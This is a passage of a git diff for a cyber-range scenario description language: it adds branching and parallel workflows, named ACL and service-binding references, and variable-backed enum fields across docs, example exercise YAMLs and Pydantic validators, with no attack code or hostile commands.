`${var_name}` placeholders are preserved as literal strings during parsing. Structural validation currently accepts placeholders in ordinary string fields, common scalar/time fields, many reference values, and selected leaf enum-backed property fields. The parser does not substitute variables or evaluate expressions. It also rejects placeholders in user-defined mapping keys, because those keys define the SDL symbol table and must stay concrete. The intended boundary is: @@ -78,7 +78,7 @@ Legacy APTL scenario YAMLs with a `metadata` block are intentionally rejected in 2. **Key normalization** — lowercase field keys, preserve user names 3. **Shorthand expansion** — source, infrastructure, roles, min-score, feature lists 4. **Pydantic construction** — structural validation (types, ranges, required fields) -5. **Semantic validation** — cross-reference checks plus variable-reference checks (21 passes, see [validation.md](validation.md)) +5. **Semantic validation** — cross-reference checks plus variable-reference checks (22 passes, see [validation.md](validation.md)) On success, the returned `Scenario` may still carry non-fatal advisories in `scenario.advisories` (for example, VM nodes without explicit `resources`). diff --git a/docs/sdl/precedents.md b/docs/sdl/precedents.md index 676423dda..51e5d6a94 100644 --- a/docs/sdl/precedents.md +++ b/docs/sdl/precedents.md @@ -64,6 +64,7 @@ The 14 base sections start from the [OCR SDL](https://github.com/Open-Cyber-Rang | `Variable` | `playbook_variables` | Types, defaults, allowed_values | | `${var}` substitution | CACAO variable substitution syntax | Deferred to instantiation time | | `Objective` | agent/target/workflow context | Declarative actor-target-window-success binding without runtime probes | +| `Workflow` | workflow-step graph patterns | Branching/parallel objective composition with SDL-only step types | ### From OCSF @@ -72,7 +73,7 @@ The 14 base sections start from the [OCR SDL](https://github.com/Open-Cyber-Rang | SDL Element | OCSF Source | What We Adapted | | --------------- | ------------------- | -------------------------------- | | `OSFamily` enum | `Device.os.type_id` | Vocabulary for OS classification | -| `ServicePort` | `NetworkEndpoint` | Simplified port/protocol/name | +| `ServicePort` | `NetworkEndpoint` | Simplified port/protocol/name; named bindings become first-class refs | ### From Docker / Deployment Patterns @@ -99,5 +100,5 @@ These were considered and explicitly excluded: | Container entrypoints | Backend-specific runtime config | Provider binding layer | | Gymnasium/PettingZoo API bindings | Framework coupling | Agent runtime layer | | Terraform module composition | Requires compositional model | Future: module system | -| CACAO workflow steps | Overlaps with OCR stories/scripts | Future: reconciliation needed | +| Full CACAO workflow surface | Current SDL keeps workflows objective-centric and excludes loops / switch / exceptions | Future: richer control flow | | VSDL SMT verification | Research question | Future: formal methods layer | diff --git a/docs/sdl/sections.md b/docs/sdl/sections.md index f8b945556..da03d76ba 100644 --- a/docs/sdl/sections.md +++ b/docs/sdl/sections.md @@ -1,6 +1,6 @@ # SDL Sections Reference -A scenario is a YAML document with a required top-level `name` and up to 20 named sections. Aside from `name`, all sections are optional. +A scenario is a YAML document with a required top-level `name` and up to 21 named sections. Aside from `name`, all sections are optional. ## Section Overview @@ -23,7 +23,7 @@ A scenario is a YAML document with a required top-level `name` and up to 20 name | `scripts` | `dict[str, Script]` | Timed event sequences with human-readable durations | | `stories` | `dict[str, Story]` | Top-level exercise orchestration grouping scripts | -### Extended Sections (6 sections) +### Extended Sections (7 sections) | Section | Type | Purpose | Adapted From | |---------|------|---------|--------------| @@ -32,6 +32,7 @@ A scenario is a YAML document with a required top-level `name` and up to 20 name | `relationships` | `dict[str, Relationship]` | Typed edges between elements (auth, trust, federation) | STIX Relationship SRO | | `agents` | `dict[str, Agent]` | Autonomous participants (actions, knowledge, scope) | CybORG Agents | | `objectives` | `dict[str, Objective]` | Declarative experiment tasks binding actors, targets, windows, and success | OCR scoring + CACAO action/target/agent | +| `workflows` | `dict[str, Workflow]` | Branching and parallel control graphs over declared objectives | CACAO workflow graph patterns | | `variables` | `dict[str, Variable]` | Parameterization (types, defaults, substitution) | CACAO playbook_variables | --- @@ -84,7 +85,7 @@ For **VM** nodes, `resources` remain optional at the SDL layer to preserve abstr When `features`, `conditions`, or `injects` use the `{name: role}` form, the role must be declared in the node's `roles` map. -Concrete service bindings on a VM must be unique by `protocol` + `port`. Reusing `53/tcp` and `53/udp` is valid; declaring `443/tcp` twice on the same node is rejected. +Concrete service bindings on a VM must be unique by `protocol` + `port`. Reusing `53/tcp` and `53/udp` is valid; declaring `443/tcp` twice on the same node is rejected. If a service binding also has a `name`, that `name` must be unique within the node and can be targeted directly as `nodes..services.`. --- @@ -101,12 +102,14 @@ infrastructure: gateway: 10.0.0.1 internal: true # blocks internet egress acls: # network access controls (from CybORG NACLs) - - direction: in + - name: allow-dmz-https + direction: in from_net: dmz-switch protocol: tcp ports: [443] action: allow - - direction: in + - name: deny-dmz-default + direction: in from_net: dmz-switch action: deny @@ -122,6 +125,8 @@ infrastructure: `links` are switch/network connectivity references, not arbitrary infrastructure edges. If a node has attached `conditions`, its `count` must stay at `1` so the condition-to-node binding remains unambiguous. Per-link IP assignments must be valid IP addresses within the linked switch's CIDR. +ACL rule `name` is optional, but when present it must be unique within that infrastructure entry and can be targeted directly as `infrastructure..acls.`. + --- ## Features @@ -362,7 +367,9 @@ relationships: Types: `authenticates_with`, `trusts`, `federates_with`, `connects_to`, `depends_on`, `manages`, `replicates_to`. -Relationship endpoints resolve against the scenario's named elements, including top-level section keys, nested entity dot-paths, variables, other relationships, and content item `name` values. +Relationship endpoints resolve against the scenario's named elements, including top-level section keys, nested entity dot-paths, variables, other relationships, content item `name` values, named service bindings (`nodes..services.`), and named ACL rules (`infrastructure..acls.`). + +Bare refs like `webapp` are valid when they are unambiguous. Any top-level section key may also be referenced explicitly as `
.`, for example `nodes.webapp`, `features.postgres`, `accounts.db-admin`, or `infrastructure.dmz-net`. Content items may be referenced as `content..items.` when a bare item `name` would collide with some other named element. --- @@ -398,7 +405,11 @@ objectives: red-initial-access: agent: red-agent # or: entity: red-team actions: [Scan, Exploit] # should be declared on the agent - targets: [web-server, app-to-db] # any named scenario elements except variables/objectives + targets: # any named scenario elements except variables/objectives/workflows + - web-server + - app-to-db + - nodes.web-server.services.https + - infrastructure.dmz-switch.acls.allow-dmz-https success: mode: all_of # all_of, any_of goals: [pass-exercise] @@ -407,6 +418,8 @@ objectives: stories: [exercise] scripts: [main-timeline] events: [attack-wave] + workflows: [release-response] + steps: [release-response.validate-release] blue-reporting: entity: blue-team @@ -415,7 +428,7 @@ objectives: depends_on: [red-initial-access] ``` -Every objective must declare exactly one actor: either `agent` or `entity`. `success` is required and must reference at least one declared `condition`, `metric`, `evaluation`, `tlo`, or `goal`. `targets` are optional, but when present they must resolve to named scenario elements. `window` is optional; when supplied, referenced stories/scripts/events must exist and remain internally consistent. +Every objective must declare exactly one actor: either `agent` or `entity`. `success` is required and must reference at least one declared `condition`, `metric`, `evaluation`, `tlo`, or `goal`. `targets` are optional, but when present they must resolve to named scenario elements. Bare target refs work when unambiguous; otherwise use a qualified ref such as `nodes.web-server`, `features.app-to-db`, or `content.mailbox.items.invoice.eml`. `window` is optional; when supplied, referenced stories/scripts/events/workflows must exist and remain internally consistent. Workflow steps use qualified refs of the form `.`. `depends_on` is an ordering relation, not just commentary. It defines a partial order over objectives: downstream objectives are not considered ready until their predecessors have been satisfied. Objective dependency cycles are rejected. @@ -423,6 +436,50 @@ This section is intentionally declarative. It says who is trying to do what, aga --- +## Workflows + +Declarative branching and parallel control graphs over objectives. Inspired by CACAO workflow structure, but intentionally scoped to objective composition rather than a second action-step language. + +```yaml +workflows: + release-response: + start: validate-release + steps: + validate-release: + type: objective + objective: blue-validate-release + next: branch-on-promotion + branch-on-promotion: + type: if + when: + conditions: [rogue-release-promoted] + then: rollback-fanout + else: finish + rollback-fanout: + type: parallel + branches: [revoke-artifact, rollback-edge] + next: finish + revoke-artifact: + type: objective + objective: blue-revoke-artifact + rollback-edge: + type: objective + objective: blue-preserve-service + finish: + type: end +``` + +Workflow step types are: + +- `objective` — run a declared objective, then optionally continue via `next` +- `if` — branch on declarative predicate refs (`conditions`, `metrics`, `evaluations`, `tlos`, `goals`, `objectives`) +- `parallel` — fan out to multiple branches, then optionally join at `next` +- `end` — terminal node + +Workflow graphs are acyclic. Every referenced step must exist, every step must be reachable from `start`, and `parallel.branches` must be unique. Workflow names and step names may not contain `.` because objective window refs use `.` syntax. + +--- + ## Variables Scenario parameterization. Adapted from CACAO playbook_variables. @@ -445,7 +502,7 @@ variables: Variables are referenced as `${var_name}` in other sections. They are **not resolved at parse time** — resolution happens at instantiation. -Full-value placeholders are currently supported in ordinary string fields, common scalar fields (counts, booleans, scores, timings, RAM/CPU, ports), and many reference values. The semantic validator checks that `${var_name}` refers to a declared variable, but substitution still happens later during instantiation. User-defined mapping keys and enum-backed fields still need concrete values today, and placeholder keys are rejected at parse time. +Full-value placeholders are currently supported in ordinary string fields, common scalar fields (counts, booleans, scores, timings, RAM/CPU, ports), many reference values, and selected leaf enum-backed property fields such as `accounts.*.password_strength`, `entities.*.role`, `nodes.*.os`, `nodes.*.asset_value.*`, `infrastructure.*.acls[*].action`, and `objectives.*.success.mode`. The semantic validator checks that `${var_name}` refers to a declared variable, but substitution still happens later during instantiation. User-defined mapping keys and discriminant/schema-shaping enum fields such as section `type` tags still need concrete values, and placeholder keys are rejected at parse time. Think of variables as parameterizing **properties of declared objects**, not the object graph itself. For example, a node's hostname, a content file's text, or a subnet CIDR may be variable-backed, while top-level identifiers like `nodes.web`, `features.nginx`, or `accounts.domain-admin` must remain literal. @@ -459,5 +516,6 @@ The SDL now carries both: - the OCR-style scoring pipeline (`conditions → metrics → evaluations → TLOs → goals`) - declarative objectives that bind actors, targets, windows, and success criteria +- workflow graphs that branch or parallelize declared objectives without embedding runtime probe logic Backend-specific auto-validation mechanics still live outside the SDL. The runtime may use Wazuh queries, command probes, file checks, or other adapters to determine whether an SDL-declared objective or scoring condition has been satisfied, but those probe details are not the language itself. diff --git a/docs/sdl/testing.md b/docs/sdl/testing.md index ab4c88782..bbb1601d5 100644 --- a/docs/sdl/testing.md +++ b/docs/sdl/testing.md @@ -10,7 +10,7 @@ pytest tests/test_sdl_models.py tests/test_sdl_validator.py \ ``` Tests structural validation (Pydantic models), semantic validation (cross-reference checks), and parser behavior (normalization, shorthands, SDL-only format boundary). -The unit suites also cover OCR-derived duration grammar, entity fact maps, and `${var}` placeholder handling across supported scalar/reference fields. +The unit suites also cover OCR-derived duration grammar, workflow graphs, direct service/ACL target refs, and `${var}` placeholder handling across supported scalar/reference fields including selected leaf enums. ### Stress Tests (standard run) @@ -78,6 +78,8 @@ The up-front design briefs for the new complex examples live in authoring issue log lives in [`docs/sdl/complex-scenario-authoring-notes.md`](complex-scenario-authoring-notes.md). +Those example files now also serve as disk-backed coverage for the newest SDL surfaces: enum-backed variable values, direct service/ACL objective targets, and workflow branching / parallel fanout. + ## Adding New Scenarios To test a new scenario topology, add a YAML string constant to `test_sdl_stress.py` or `test_sdl_realworld.py` and add it to the `SCENARIOS` list. The parametrized tests will automatically pick it up. diff --git a/docs/sdl/validation.md b/docs/sdl/validation.md index ea8631965..f0f1a914b 100644 --- a/docs/sdl/validation.md +++ b/docs/sdl/validation.md @@ -1,6 +1,6 @@ # SDL Semantic Validation -The semantic validator (`aptl.core.sdl.validator.SemanticValidator`) runs 21 named passes after Pydantic structural validation. It collects all errors rather than failing on the first, so authors see every issue at once. +The semantic validator (`aptl.core.sdl.validator.SemanticValidator`) runs 22 named passes after Pydantic structural validation. It collects all errors rather than failing on the first, so authors see every issue at once. ## Validation Passes @@ -30,9 +30,10 @@ The semantic validator (`aptl.core.sdl.validator.SemanticValidator`) runs 21 nam |------|----------------| | `verify_content` | Content targets reference existing VM nodes. | | `verify_accounts` | Account nodes reference existing VM nodes. | -| `verify_relationships` | Source and target resolve to any named element in any section, including variables, relationships, and content item names. | +| `verify_relationships` | Source and target resolve to any named element in any section, including variables, relationships, content item names, named service bindings, and named ACL rules. Ambiguous bare refs are rejected with qualified alternatives. | | `verify_agents` | Entity references resolve. Starting accounts and initial-knowledge accounts exist in accounts section. Allowed subnets and initial-knowledge subnets must resolve to switch-backed infrastructure entries. Initial-knowledge hosts must resolve to VM nodes. Initial-knowledge services exist in `nodes.*.services[].name`. | -| `verify_objectives` | Objective actors resolve (`agent` or `entity`). Objective actions must be declared by the referenced agent. Targets resolve to named scenario elements. Success criteria resolve to declared conditions/metrics/evaluations/TLOs/goals. Optional windows resolve to stories/scripts/events and must remain internally consistent. Objective dependencies must resolve and stay acyclic. | +| `verify_objectives` | Objective actors resolve (`agent` or `entity`). Objective actions must be declared by the referenced agent. Targets resolve to named scenario elements, including qualified service/ACL refs and section-qualified top-level refs. Ambiguous bare refs are rejected with qualified alternatives. Success criteria resolve to declared conditions/metrics/evaluations/TLOs/goals. Optional windows resolve to stories/scripts/events/workflows and must remain internally consistent. Objective dependencies must resolve and stay acyclic. | +| `verify_workflows` | Workflow `start` and every referenced step must exist. Objective steps must reference declared objectives. Predicate refs must resolve to declared conditions/metrics/evaluations/TLOs/goals/objectives. Workflow graphs must be acyclic and fully reachable from `start`. | | `verify_variables` | Checks that full-value `${var}` placeholders reference declared variables. Structural validation of typed defaults and `allowed_values` still happens in the `Variable` model itself. | When a field contains an unresolved `${var}` placeholder, reference-oriented passes treat it as deferred rather than as a broken concrete reference. The validator still does not substitute values; it only checks that the placeholder names exist. @@ -60,4 +61,9 @@ except SDLValidationError as e: ## Cross-Reference Resolution -The `_all_named_elements()` method collects keys from all top-level sections for relationship validation, plus nested entity dot-paths and content item `name` values. This means a relationship can reference any node, feature, condition, vulnerability, infrastructure entry, metric, evaluation, TLO, goal, entity (including nested), inject, event, script, story, content entry, content item, account, agent, objective, relationship, or variable. +Generic refs are indexed in two forms: + +- bare names like `webapp` when they are unique in the generic-ref namespace +- qualified names like `nodes.webapp`, `features.postgres`, `infrastructure.dmz-net`, or `content.mailbox.items.invoice.eml` + +The index also includes nested entity dot-paths, named service bindings (`nodes..services.`), and named ACL rules (`infrastructure..acls.`). This means a relationship can reference any node, feature, condition, vulnerability, infrastructure entry, metric, evaluation, TLO, goal, entity (including nested), inject, event, script, story, content entry, content item, account, agent, objective, workflow, relationship, variable, named service binding, or named ACL rule. When a bare ref maps to multiple elements, validation fails and asks the author to use one of the qualified alternatives. diff --git a/examples/hospital-ransomware-surgery-day.sdl.yaml b/examples/hospital-ransomware-surgery-day.sdl.yaml index a0c715589..acf5e4675 100644 --- a/examples/hospital-ransomware-surgery-day.sdl.yaml +++ b/examples/hospital-ransomware-surgery-day.sdl.yaml @@ -240,27 +240,27 @@ infrastructure: count: 1 properties: {cidr: 10.70.1.0/24, gateway: 10.70.1.1, internal: true} acls: - - {direction: in, from_net: internet-edge, protocol: tcp, ports: [443], action: allow} - - {direction: in, from_net: clinical-it, action: deny} + - {name: allow-public-vpn, direction: in, from_net: internet-edge, protocol: tcp, ports: [443], action: allow} + - {name: deny-clinical-backflow, direction: in, from_net: clinical-it, action: deny} corp-it: count: 1 properties: {cidr: 10.70.2.0/24, gateway: 10.70.2.1, internal: true} acls: - - {direction: in, from_net: internet-edge, protocol: tcp, ports: [25, 443], action: allow} - - {direction: in, from_net: vendor-segment, protocol: tcp, ports: [443], action: allow} + - {name: allow-public-mail-web, direction: in, from_net: internet-edge, protocol: tcp, ports: [25, 443], action: allow} + - {name: allow-vendor-support, direction: in, from_net: vendor-segment, protocol: tcp, ports: [443], action: allow} clinical-it: count: 1 properties: {cidr: 10.70.3.0/24, gateway: 10.70.3.1, internal: true} acls: - - {direction: in, from_net: corp-it, protocol: tcp, ports: [443, 8443, 8444], action: allow} - - {direction: in, from_net: vendor-segment, protocol: tcp, ports: [443], action: allow} - - {direction: in, from_net: internet-edge, action: deny} + - {name: allow-corp-clinical-apps, direction: in, from_net: corp-it, protocol: tcp, ports: [443, 8443, 8444], action: allow} + - {name: allow-vendor-clinical-web, direction: in, from_net: vendor-segment, protocol: tcp, ports: [443], action: allow} + - {name: deny-public-clinical, direction: in, from_net: internet-edge, action: deny} identity-net: count: 1 properties: {cidr: 10.70.4.0/24, gateway: 10.70.4.1, internal: true} acls: - - {direction: in, from_net: corp-it, protocol: tcp, ports: [53, 389, 443], action: allow} - - {direction: in, from_net: clinical-it, protocol: tcp, ports: [389, 443], action: allow} + - {name: allow-corp-identity, direction: in, from_net: corp-it, protocol: tcp, ports: [53, 389, 443], action: allow} + - {name: allow-clinical-identity, direction: in, from_net: clinical-it, protocol: tcp, ports: [389, 443], action: allow} security-net: count: 1 properties: {cidr: 10.70.5.0/24, gateway: 10.70.5.1, internal: true} @@ -697,7 +697,12 @@ objectives: red-establish-foothold: agent: red-initial actions: [Phish, AbuseVPN] - targets: [vpn-gateway, exchange01, vpn-vendor-support-path] + targets: + - vpn-gateway + - exchange01 + - nodes.vpn-gateway.services.vpn-portal + - infrastructure.corp-it.acls.allow-vendor-support + - vpn-vendor-support-path success: conditions: [vendor-session-established] window: @@ -728,7 +733,12 @@ objectives: blue-detect-and-triage: agent: blue-soc-agent actions: [Inspect, Triage, Escalate] - targets: [siem01, vpn-gateway, mail-gateway] + targets: + - siem01 + - vpn-gateway + - mail-gateway + - nodes.vpn-gateway.services.vpn-portal + - infrastructure.corp-it.acls.allow-vendor-support success: conditions: [soc-pipeline-up, triage-case-submitted] window: diff --git a/examples/port-authority-surge-response.sdl.yaml b/examples/port-authority-surge-response.sdl.yaml index a8b584a53..1cbb1ef57 100644 --- a/examples/port-authority-surge-response.sdl.yaml +++ b/examples/port-authority-surge-response.sdl.yaml @@ -218,8 +218,8 @@ infrastructure: count: 1 properties: {cidr: 10.110.3.0/24, gateway: 10.110.3.1, internal: true} acls: - - {direction: in, from_net: terminal-it, protocol: tcp, ports: [443, 4840], action: allow} - - {direction: in, from_net: public-edge, action: deny} + - {name: allow-yard-control, direction: in, from_net: terminal-it, protocol: tcp, ports: [443, 4840], action: allow} + - {name: deny-public-yard, direction: in, from_net: public-edge, action: deny} safety-net: count: 1 properties: {cidr: 10.110.4.0/24, gateway: 10.110.4.1, internal: true} @@ -605,10 +605,18 @@ objectives: window: stories: [surge-day] scripts: [arrival-phase, customs-surge-phase] + workflows: [yard-recovery] + steps: [yard-recovery.maintain-integrity] blue-blackstart-yard: agent: blue-yard-agent actions: [Inspect, Isolate, Restore, Validate] - targets: [backup-vault, historian01, yard-hmi, historian-replicates-backup] + targets: + - backup-vault + - historian01 + - yard-hmi + - historian-replicates-backup + - nodes.crane-plc.services.crane-opcua + - infrastructure.yard-ot.acls.allow-yard-control success: goals: [port-blue-goal] depends_on: [blue-maintain-customs-integrity, red-degrade-yard-ops] @@ -616,3 +624,54 @@ objectives: stories: [surge-day] scripts: [yard-disruption-phase] events: [yard-standdown] + workflows: [yard-recovery] + steps: [yard-recovery.restore-yard] + blue-validate-yard-telemetry: + agent: blue-yard-agent + actions: [Inspect, Validate] + targets: + - historian01 + - camera-analytics + - nodes.historian01.services.historian-ui + - infrastructure.yard-ot.acls.allow-yard-control + success: + conditions: [yard-telemetry-flowing, historian-replication-ok] + metrics: [blue-telemetry-retention] + depends_on: [red-degrade-yard-ops] + window: + stories: [surge-day] + scripts: [yard-disruption-phase] + events: [yard-standdown] + workflows: [yard-recovery] + steps: [yard-recovery.validate-telemetry] + +workflows: + yard-recovery: + description: > + Recovery workflow that preserves customs integrity, branches into + blackstart-style OT recovery when tampering is observed, and joins + yard restoration with telemetry validation before declaring finish. + start: maintain-integrity + steps: + maintain-integrity: + type: objective + objective: blue-maintain-customs-integrity + next: assess-yard + assess-yard: + type: if + when: + conditions: [tampered-manifest-observed] + then: fanout-blackstart + else: finish + fanout-blackstart: + type: parallel + branches: [restore-yard, validate-telemetry] + next: finish + restore-yard: + type: objective + objective: blue-blackstart-yard + validate-telemetry: + type: objective + objective: blue-validate-yard-telemetry + finish: + type: end diff --git a/examples/satcom-release-poisoning.sdl.yaml b/examples/satcom-release-poisoning.sdl.yaml index 9662f8537..fa20db4b3 100644 --- a/examples/satcom-release-poisoning.sdl.yaml +++ b/examples/satcom-release-poisoning.sdl.yaml @@ -10,6 +10,10 @@ variables: type: number default: 1.25 description: Playback speed for the release-day story + release_engineer_password_strength: + type: string + default: strong + description: Password posture for release engineering operator accounts canary_cutover: type: string default: "45 min" @@ -238,8 +242,8 @@ infrastructure: count: 1 properties: {cidr: 10.90.2.0/24, gateway: 10.90.2.1, internal: true} acls: - - {direction: in, from_net: corp-eng, protocol: tcp, ports: [22, 443, 5000], action: allow} - - {direction: in, from_net: internet-edge, action: deny} + - {name: allow-engineering-release, direction: in, from_net: corp-eng, protocol: tcp, ports: [22, 443, 5000], action: allow} + - {name: deny-public-build, direction: in, from_net: internet-edge, action: deny} control-net: count: 1 properties: {cidr: 10.90.3.0/24, gateway: 10.90.3.1, internal: true} @@ -519,7 +523,7 @@ accounts: username: releasemgr node: git-forge groups: [ReleaseEngineering] - password_strength: strong + password_strength: ${release_engineer_password_strength} ci-bot: username: ci-bot node: ci-runner @@ -668,6 +672,25 @@ objectives: window: stories: [release-day] scripts: [release-prep, canary-rollout] + workflows: [release-response] + steps: [release-response.validate-release] + blue-revoke-artifact: + agent: blue-release-agent + actions: [Revoke, Rollback] + targets: + - release-manifest + - artifact-registry + - nodes.artifact-registry.services.registry-api + - infrastructure.build-net.acls.allow-engineering-release + success: + conditions: [rollback-package-ready] + depends_on: [blue-validate-release] + window: + stories: [release-day] + scripts: [incident-rollback] + events: [rollback-order-event] + workflows: [release-response] + steps: [release-response.revoke-artifact] blue-preserve-service: agent: blue-sre-agent actions: [Inspect, Isolate, Restore, Validate] @@ -679,3 +702,35 @@ objectives: window: stories: [release-day] scripts: [incident-rollback] + workflows: [release-response] + steps: [release-response.rollback-edge] + +workflows: + release-response: + description: > + Release-control workflow that validates a canary, branches on + poisoned promotion, and fans out rollback work when needed. + start: validate-release + steps: + validate-release: + type: objective + objective: blue-validate-release + next: branch-on-promotion + branch-on-promotion: + type: if + when: + conditions: [rogue-release-promoted] + then: rollback-fanout + else: finish + rollback-fanout: + type: parallel + branches: [revoke-artifact, rollback-edge] + next: finish + revoke-artifact: + type: objective + objective: blue-revoke-artifact + rollback-edge: + type: objective + objective: blue-preserve-service + finish: + type: end diff --git a/src/aptl/core/sdl/__init__.py b/src/aptl/core/sdl/__init__.py index c590d49b1..92f59e657 100644 --- a/src/aptl/core/sdl/__init__.py +++ b/src/aptl/core/sdl/__init__.py @@ -2,12 +2,12 @@ A backend-agnostic scenario specification language ported from the Open Cyber Range SDL and extended with sections for content, accounts, -relationships, agents, objectives, and variables. +relationships, agents, objectives, workflows, and variables. Public API: parse_sdl(content) -> Scenario parse_sdl_file(path) -> Scenario - Scenario — top-level model (20 sections) + Scenario — top-level model (21 sections) SDLParseError — YAML/structural errors SDLValidationError — semantic validation errors """ diff --git a/src/aptl/core/sdl/_base.py b/src/aptl/core/sdl/_base.py index 0dfe209e5..71697218e 100644 --- a/src/aptl/core/sdl/_base.py +++ b/src/aptl/core/sdl/_base.py @@ -1,6 +1,7 @@ """Base model configuration and shared helpers for the SDL package.""" import re +from enum import Enum from typing import Any from pydantic import BaseModel, ConfigDict @@ -36,6 +37,29 @@ def normalize_enum_value(v: str) -> str: return v.lower() if isinstance(v, str) else v +def parse_enum_or_var( + value: Any, + enum_cls: type[Enum], + *, + field_name: str = "value", +) -> Any: + """Parse an enum-backed field while allowing full ``${var}`` placeholders.""" + if value is None or is_variable_ref(value): + return value + if isinstance(value, enum_cls): + return value + if isinstance(value, str): + normalized = normalize_enum_value(value) + try: + return enum_cls(normalized) + except ValueError as e: + allowed = ", ".join(member.value for member in enum_cls) + raise ValueError( + f"{field_name} must be one of: {allowed}" + ) from e + raise ValueError(f"{field_name} must be a string") + + def parse_int_or_var( value: Any, *, diff --git a/src/aptl/core/sdl/accounts.py b/src/aptl/core/sdl/accounts.py index a4a4d683c..ba7f05d41 100644 --- a/src/aptl/core/sdl/accounts.py +++ b/src/aptl/core/sdl/accounts.py @@ -11,7 +11,7 @@ from pydantic import Field, field_validator, model_validator -from aptl.core.sdl._base import SDLModel, normalize_enum_value, parse_bool_or_var +from aptl.core.sdl._base import SDLModel, parse_bool_or_var, parse_enum_or_var class PasswordStrength(str, Enum): @@ -34,7 +34,7 @@ class Account(SDLModel): username: str node: str = "" groups: list[str] = Field(default_factory=list) - password_strength: PasswordStrength = PasswordStrength.MEDIUM + password_strength: PasswordStrength | str = PasswordStrength.MEDIUM auth_method: str = "password" description: str = "" mail: str = "" @@ -45,8 +45,12 @@ class Account(SDLModel): @field_validator("password_strength", mode="before") @classmethod - def normalize_strength(cls, v: str) -> str: - return normalize_enum_value(v) + def normalize_strength(cls, v: str) -> PasswordStrength | str: + return parse_enum_or_var( + v, + PasswordStrength, + field_name="password_strength", + ) @field_validator("disabled", mode="before") @classmethod diff --git a/src/aptl/core/sdl/entities.py b/src/aptl/core/sdl/entities.py index 411b71a39..b2afd04ba 100644 --- a/src/aptl/core/sdl/entities.py +++ b/src/aptl/core/sdl/entities.py @@ -10,7 +10,7 @@ from pydantic import Field, field_validator -from aptl.core.sdl._base import SDLModel, normalize_enum_value +from aptl.core.sdl._base import SDLModel, parse_enum_or_var class ExerciseRole(str, Enum): @@ -32,12 +32,16 @@ class Entity(SDLModel): name: str = "" description: str = "" - role: Optional[ExerciseRole] = None + role: Optional[ExerciseRole | str] = None @field_validator("role", mode="before") @classmethod def normalize_role(cls, v): - return normalize_enum_value(v) if v is not None else v + return ( + parse_enum_or_var(v, ExerciseRole, field_name="role") + if v is not None + else v + ) mission: str = "" categories: list[str] = Field(default_factory=list) vulnerabilities: list[str] = Field(default_factory=list) diff --git a/src/aptl/core/sdl/infrastructure.py b/src/aptl/core/sdl/infrastructure.py index 4cbb25672..5ff9692ca 100644 --- a/src/aptl/core/sdl/infrastructure.py +++ b/src/aptl/core/sdl/infrastructure.py @@ -16,8 +16,8 @@ from aptl.core.sdl._base import ( SDLModel, is_variable_ref, - normalize_enum_value, parse_bool_or_var, + parse_enum_or_var, parse_int_or_var, ) @@ -39,18 +39,19 @@ class ACLRule(SDLModel): traffic rules between network segments. """ + name: str = "" direction: str = "" from_net: str = "" to_net: str = "" protocol: str = "any" ports: list[int | str] = Field(default_factory=list) - action: ACLAction = ACLAction.ALLOW + action: ACLAction | str = ACLAction.ALLOW description: str = "" @field_validator("action", mode="before") @classmethod - def normalize_action(cls, v: str) -> str: - return normalize_enum_value(v) + def normalize_action(cls, v: str) -> ACLAction | str: + return parse_enum_or_var(v, ACLAction, field_name="action") @field_validator("ports", mode="before") @classmethod @@ -138,3 +139,14 @@ def validate_unique_dependencies(self) -> "InfraNode": if len(self.dependencies) != len(set(self.dependencies)): raise ValueError("Infrastructure dependencies must be unique") return self + + @model_validator(mode="after") + def validate_unique_acl_names(self) -> "InfraNode": + seen_names: set[str] = set() + for acl in self.acls: + if not acl.name: + continue + if acl.name in seen_names: + raise ValueError(f"Infrastructure ACL names must be unique: '{acl.name}'") + seen_names.add(acl.name) + return self diff --git a/src/aptl/core/sdl/nodes.py b/src/aptl/core/sdl/nodes.py index eff0bd64a..f4d1efd5f 100644 --- a/src/aptl/core/sdl/nodes.py +++ b/src/aptl/core/sdl/nodes.py @@ -14,6 +14,7 @@ SDLModel, is_variable_ref, normalize_enum_value, + parse_enum_or_var, parse_int_or_var, ) from aptl.core.sdl._source import Source @@ -151,9 +152,26 @@ class AssetValueLevel(str, Enum): class AssetValue(SDLModel): """CIA triad asset valuation for scoring and risk assessment.""" - confidentiality: AssetValueLevel = AssetValueLevel.MEDIUM - integrity: AssetValueLevel = AssetValueLevel.MEDIUM - availability: AssetValueLevel = AssetValueLevel.MEDIUM + confidentiality: AssetValueLevel | str = AssetValueLevel.MEDIUM + integrity: AssetValueLevel | str = AssetValueLevel.MEDIUM + availability: AssetValueLevel | str = AssetValueLevel.MEDIUM + + @field_validator( + "confidentiality", + "integrity", + "availability", + mode="before", + ) + @classmethod + def normalize_asset_value( + cls, + v: AssetValueLevel | str, + ) -> AssetValueLevel | str: + return parse_enum_or_var( + v, + AssetValueLevel, + field_name="asset_value", + ) class ServicePort(SDLModel): @@ -192,7 +210,7 @@ class Node(SDLModel): def normalize_type(cls, v: str) -> str: return normalize_enum_value(v) resources: Optional[Resources] = None - os: Optional[OSFamily] = None + os: Optional[OSFamily | str] = None os_version: str = "" features: dict[str, str] = Field(default_factory=dict) conditions: dict[str, str] = Field(default_factory=dict) @@ -205,7 +223,11 @@ def normalize_type(cls, v: str) -> str: @field_validator("os", mode="before") @classmethod def normalize_os(cls, v): - return normalize_enum_value(v) if v is not None else v + return ( + parse_enum_or_var(v, OSFamily, field_name="os") + if v is not None + else v + ) @model_validator(mode="after") def validate_type_constraints(self) -> "Node": @@ -243,22 +265,27 @@ def validate_type_constraints(self) -> "Node": @model_validator(mode="after") def validate_unique_service_ports(self) -> "Node": - """Concrete VM service bindings must not reuse the same port/protocol.""" + """Concrete VM service bindings must stay uniquely addressable.""" if self.type != NodeType.VM: return self seen: set[tuple[str, int]] = set() + seen_names: set[str] = set() for service in self.services: if not isinstance(service.port, int): - continue - if is_variable_ref(service.protocol): - continue - - key = (service.protocol.lower(), service.port) - if key in seen: - raise ValueError( - "Duplicate service binding " - f"'{service.protocol}/{service.port}' on node" - ) - seen.add(key) + pass + elif not is_variable_ref(service.protocol): + key = (service.protocol.lower(), service.port) + if key in seen: + raise ValueError( + "Duplicate service binding " + f"'{service.protocol}/{service.port}' on node" + ) + seen.add(key) + if service.name: + if service.name in seen_names: + raise ValueError( + f"Duplicate named service '{service.name}' on node" + ) + seen_names.add(service.name) return self diff --git a/src/aptl/core/sdl/objectives.py b/src/aptl/core/sdl/objectives.py index 80fa2bbfb..8f3a5b674 100644 --- a/src/aptl/core/sdl/objectives.py +++ b/src/aptl/core/sdl/objectives.py @@ -15,7 +15,7 @@ from pydantic import Field, field_validator, model_validator -from aptl.core.sdl._base import SDLModel, normalize_enum_value +from aptl.core.sdl._base import SDLModel, parse_enum_or_var class SuccessMode(str, Enum): 